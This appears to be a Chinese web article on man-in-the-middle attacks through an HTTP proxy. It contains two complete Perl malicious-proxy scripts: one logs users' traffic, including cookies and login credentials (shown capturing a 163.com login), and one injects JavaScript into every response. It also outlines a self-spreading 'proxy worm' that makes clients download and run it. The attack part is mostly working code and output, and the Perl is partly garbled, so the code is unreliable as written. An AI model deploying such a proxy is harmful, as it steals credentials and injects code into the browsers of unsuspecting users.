上一篇:跳板的隐藏 >>
MITM攻击 In Proxy
说起“中间人攻击(man-in-the-middle-attacks,简称:mitm攻击)”大家可能马上想起曾经风靡一时的smb会话劫持,dns 欺骗等技术,这些都是典型的mitm攻击手段。其实mitm攻击说它是一种手段,不如说它是一种攻击模式,它可以应用于各个领域,比如在现实中,a通过b 给c传话,那么b在传话给c的时候,可以夸大其词,也可以填油加醋后传给c,在这个过程中中间人b 无意中就来一次mitm攻击,其实“谣言”就是这么来的 j. 具体在网络安全方面,mitm攻击应用也很广泛,下面我就以http协议代理来介绍下代理里mitm攻击。
一 .原理
代理服务的一个典型模型:
client <<-data-> proxy server <?data-> web server
middle man
上面可以看出:client 发出的请求 和 web server返回的数据都经过proxy server 转发,这个proxy server 就起到了一个middle man的作用,如果这个“中间人” 够黑,那么整个代理过程的数据 都可以由这个“中间人”控制。
二.攻击类型
截取敏感数据
代码注射
proxp worm
其他利用
三.实例说明
1. 截取敏感数据
首先我们编写一个“恶意的中间人” 代理程序:
以下是代码片段:
=============================codz start===============================
#!/usr/bin/perl
#proxy mid-man-atk test script
use strict;
use uri;
use io::socket;
my $showopenedsockets=1;
my $server = io::socket::inet->new (
localport => 8080,
type => sock_stream,
reuse => 1,
listen => 10);
binmode $server;
while (my $browser = $server->accept()) {
print "\n\n--------------clint提交数据-------------------\n";
binmode $browser;
my $method ="";
my $content_length = 0;
my $content = 0;
my $accu_content_length = 0;
my $host;
my $hostaddr;
my $httpver;
while (my $browser_line = <$browser>) {
unless ($method) {
($method, $hostaddr, $httpver) = $browser_line =~ /^(\w+) +(\s+) +(\s+)/;
my $uri = uri->new($hostaddr);
$host = io::socket::inet->new (
peeraddr=> $uri->host,
peerport=> $uri->port );
die "couldn’t open $hostaddr" unless $host;
if ($showopenedsockets) {
print "opened ".$uri->host." , port ".$uri->port."\n";
}
binmode $host;
print $host "$method ".$uri->path_query." $httpver\n";
print "$method ".$uri->path_query." $httpver\n";
next;
}
$content_length = $1 if $browser_line=~/content-length: +(\d+)/i;
$accu_content_length+=length $browser_line;
print $browser_line;
print $host $browser_line;
last if $browser_line =~ /^\s*$/ and $method ne ’post’;
if ($browser_line =~ /^\s*$/ and $method eq "post") {
$content = 1;
last unless $content_length;
next;
}
if ($content) {
$accu_content_length+=length $browser_line;
last if $accu_content_length >= $content_length;
}
}
print "\n\n................serve返回数据.................xx\n";
$content_length = 0;
$content = 0;
$accu_content_length = 0;
my @ret= <$host>;
foreach my $host_line (@ret){
print $host_line;
print $browser $host_line;
$content_length = $1 if $host_line=~/content-length: +(\d+)/i;
if ($host_line =~ m/^\s*$/ and not $content) {
$content = 1;
#last unless $content_length;
next;
}
if ($content) {
if ($content_length) {
$accu_content_length+=length $host_line;
print "\ncontent length: $content_length, accu: $accu_content_length\n";
last if $accu_content_length >= $content_length;
}
}
}
$browser-> close;
$host -> close;
}
=============================codz end===============================
运行此脚本把结果保存到test.log:
c:\usr\bin>perl proxytest1.pl >>test.log
然后clinet使用次代理访问http://reg.163.com/checkuser.jsp 登陆
打开test.log得到如下数据:
--------------clint提交数据-------------------
opened reg.163.com , port 80
post /checkuser.jsp http/1.0
accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
referer: http://reg.163.com/checkuser.jsp
…….省略…….
cookie: ursjessionid=b370cqyldya7
…….省略…….
url=&username=hack-520&password=*****&submit=%b5%c7%a1%a1%c2%bc
................serve返回数据.................xx
http/1.1 200 ok
如下图所示:
成功得到
username=hack-520
password=*****
2.代码注射
在使用代理的整个过程里,最终是通过代理服务器把数据发给clinet,这个数据是我们可以控制的,我们可以注射我们的恶意代码提交给clinet,修改上面的perl程如下:
以下是代码片段:
=============================codz start===============================
#!/usr/bin/perl
#proxy mid-man-atk test script
use strict;
use uri;
use io::socket;
my $showopenedsockets=1;
my $server = io::socket::inet->new (
localport => 8080,
type => sock_stream,
reuse => 1,
listen => 10);
binmode $server;
while (my $browser = $server->accept()) {
print "\n\n--------------------------------------------\n";
binmode $browser;
my $method ="";
my $content_length = 0;
my $content = 0;
my $accu_content_length = 0;
my $host;
my $hostaddr;
my $httpver;
while (my $browser_line = <$browser>) {
unless ($method) {
($method, $hostaddr, $httpver) = $browser_line =~ /^(\w+) +(\s+) +(\s+)/;
my $uri = uri->new($hostaddr);
$host = io::socket::inet->new (
peeraddr=> $uri->host,
peerport=> $uri->port );
die "couldn’t open $hostaddr" unless $host;
if ($showopenedsockets) {
print "opened ".$uri->host." , port ".$uri->port."\n";
}
binmode $host;
print $host "$method ".$uri->path_query." $httpver\n";
print "$method ".$uri->path_query." $httpver\n";
next;
}
$content_length = $1 if $browser_line=~/content-length: +(\d+)/i;
$accu_content_length+=length $browser_line;
print $browser_line;
print $host $browser_line;
last if $browser_line =~ /^\s*$/ and $method ne ’post’;
if ($browser_line =~ /^\s*$/ and $method eq "post") {
$content = 1;
last unless $content_length;
next;
}
if ($content) {
$accu_content_length+=length $browser_line;
last if $accu_content_length >= $content_length;
}
}
print "\n\nxx....................................xx\n";
$content_length = 0;
$content = 0;
$accu_content_length = 0;
my @ret= <$host>;
my $ret=@ret;
push(@ret,""); #〈=注意这里
foreach my $host_line (@ret){
print $host_line;
print $browser $host_line;
$content_length = $1 if $host_line=~/content-length: +(\d+)/i;
if ($host_line =~ m/^\s*$/ and not $content) {
$content = 1;
#last unless $content_length;
next;
}
if ($content) {
if ($content_length) {
$accu_content_length+=length $host_line;
print "\ncontent length: $content_length, accu: $accu_content_length\n";
last if $accu_content_length >= $content_length;
}
}
}
$browser-> close;
$host -> close;
}
=============================codz end===============================
代码:
my @ret= <$host>;
my $ret=@ret;
push(@ret," alert(\"superhei\") "); #〈=注意这里
这个在代理服务最终把webserver返回的数据<$host>里 注射了代码 alert("superhei") 。
运行上面的程序,当clinet用此代理服务器访问任意站时都回执行 alert("superhei")
如图2:
3.proxy worm的实现
如果上面的例子在配合其他的客户端攻击(如网页木马),那么就可以实现proxy worm了:
proxyworm--àclinet(proxyworm1)-àclinet1(proxyworm2)-à…..à
clinet1在使用了proxyworm代理后,proxyworm向clinet注射可以让clinet下载并运行自身的代码,clinet被攻击后成为了proxyworm1 ……..。
4.其他应用
技术都又它的双面性,我们和可以利用在安全方面:比如恶意代码过虑平台:webserve 返回的数据经过代理服务器时 经过过滤在 发送给 clinet
………
小结:
其实man-in-the-middle-attacks是个很大的课题,在很多方面都提到,
本文只是浅显的通过http协议代理介绍了下“代理中间人攻击技术”, 如果有兴趣的朋友可以研究下 其他协议“代理中间人攻击技术”。
()
下一篇:邮件地址保护有巧招 >>
相关文章:
- · Q-ZONE技巧大放送
- · Win XP系统中你不可不知的事
- · 为你的右键菜单“瘦身”
- · 利用QQ邮件发网页木马的小技巧
- · 10大国外代理服务器网站
- · 数据库设计经验谈
- · 数秒钟之内破解MySQL的MD5函数
- · Win 2K动态DNS的安全考虑
- · Windows XP六招最新应用技巧
- · FTP基础知识及模式精解
- · 映射网络驱动器的使用
- · 网络传输速度慢的故障解决
- · Linux磁盘存储区管理原理与技巧
- · 浏览缺德网站的后遗症——全方位渗透
- · 常抱怨不能BT下载和下载速度慢的人进来
- · 装机过程中10大常规性错误
- · 使用Windows 2003 终端服务连接到并隐藏控制台会话
- · 隐藏在XP中的28个秘密武器
- · Windows快捷键大全
- · WinRAR九大不传密技
- · 利用ICMP请求报文探测主机操作系统
- · 判断Web数据库方式的一个小经验
- · 在无人参与安装模式下执行干净安装WINXP
- · Linux内核初始化过程简要介绍
- · 妙用Regsvr32命令修复系统故障
- · 再谈Windows NT/2000内部数据结构
- · 全面了解Windows系统鲜为人知的宝藏
- · 有关IPSec的一些基础知识
- · 利用google半秒破500網
- · 俗人俗语谈技术之FTP技术
- · 分布式系统的运营安全
- · Linux 2.2.X进程管理分析及最大进程数限制的突破
- · 网络软件在多操作系统中的共享
- · Windows系统中隐藏驱动器
- · Windows XP操作系统6例故障解答
- · 巧改hosts文件让QQ新闻更个性
- · 拆除TFTP“定时炸弹”
- · 把浏览器改造成FTP软件
